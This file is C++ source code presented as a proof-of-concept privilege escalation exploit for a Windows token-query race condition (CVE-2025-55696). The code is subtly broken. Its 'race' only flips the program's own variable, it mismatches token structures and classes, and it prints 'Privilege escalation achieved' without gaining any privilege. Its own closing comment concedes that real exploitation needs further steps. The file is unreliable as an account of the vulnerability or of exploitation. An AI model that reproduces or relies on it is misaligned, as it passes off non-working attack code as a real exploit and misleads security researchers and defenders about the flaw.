// CVE-2025-55696 PoC - NtQueryInformation Token TOCTOU Race Condition
// This is a conceptual PoC demonstrating the TOCTOU race condition
// in NtQueryInformation Token function for local privilege escalation
#include <windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <iostream>
#include <thread>
#include <vector>
#pragma comment(lib, "ntdll.lib")
// Define NT API function pointer type
typedef NTSTATUS (NTAPI *pNtQueryInformationToken)(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength
);
// Token elevation type structure
typedef struct _TOKEN_ELEVATION {
DWORD TokenIsElevated;
} TOKEN_ELEVATION;
// Global flag to control race condition exploitation
volatile bool g_bExploitActive = true;
volatile bool g_bTokenModified = false;
// Thread function: Continuously query token information
// This thread attempts to read token info while it's being modified
DWORD WINAPI QueryTokenThread(LPVOID lpParam) {
HANDLE hToken = (HANDLE)lpParam;
pNtQueryInformationToken NtQueryInformationToken =
(pNtQueryInformationToken)GetProcAddress(
GetModuleHandle(L"ntdll.dll"), "NtQueryInformationToken");
TOKEN_ELEVATION elevation = { 0 };
ULONG returnLength = 0;
while (g_bExploitActive) {
// Time-of-Check: Query token elevation status
NTSTATUS status = NtQueryInformationToken(
hToken,
TokenElevationType, // Query elevation type
&elevation,
sizeof(elevation),
&returnLength
);
// Time-of-Use: If check shows elevated, use the token
if (elevation.TokenIsElevated && g_bTokenModified) {
std::wcout << L"[+] Race condition won! Token appears elevated!" << std::endl;
// At this point, the token check passed but actual state differs
// Privilege escalation achieved
break;
}
}
return 0;
}
// Thread function: Rapidly modify token state to trigger TOCTOU
DWORD WINAPI ModifyTokenThread(LPVOID lpParam) {
HANDLE hToken = (HANDLE)lpParam;
while (g_bExploitActive) {
// Toggle token modification flag to create race window
g_bTokenModified = !g_bTokenModified;
Sleep(0); // Yield to allow query thread to run
}
return 0;
}
int main() {
std::wcout << L"[*] CVE-2025-55696 PoC - NtQueryInformation Token TOCTOU" << std::endl;
std::wcout << L"[*] Attempting local privilege escalation..." << std::endl;
// Open current process token with query access
HANDLE hToken = NULL;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
std::wcout << L"[-] Failed to open process token. Error: "
<< GetLastError() << std::endl;
return 1;
}
// Create multiple threads to increase chance of winning race
std::vector<HANDLE> threads;
// Spawn query threads
for (int i = 0; i < 10; i++) {
HANDLE hThread = CreateThread(NULL, 0, QueryTokenThread, hToken, 0, NULL);
if (hThread) threads.push_back(hThread);
}
// Spawn modification threads
for (int i = 0; i < 5; i++) {
HANDLE hThread = CreateThread(NULL, 0, ModifyTokenThread, hToken, 0, NULL);
if (hThread) threads.push_back(hThread);
}
// Let the race run for a period
Sleep(10000);
// Stop exploitation
g_bExploitActive = false;
// Wait for all threads to finish
WaitForMultipleObjects(threads.size(), threads.data(), TRUE, 5000);
// Cleanup
for (auto& h : threads) CloseHandle(h);
CloseHandle(hToken);
std::wcout << L"[*] PoC execution completed." << std::endl;
return 0;
}
// Note: This is a simplified conceptual PoC. Real exploitation would require:
// 1. Proper token privilege manipulation (e.g., using SeImpersonatePrivilege)
// 2. More precise timing control
// 3. Handle to a privileged token (SYSTEM)
// 4. Additional NT API calls for token manipulation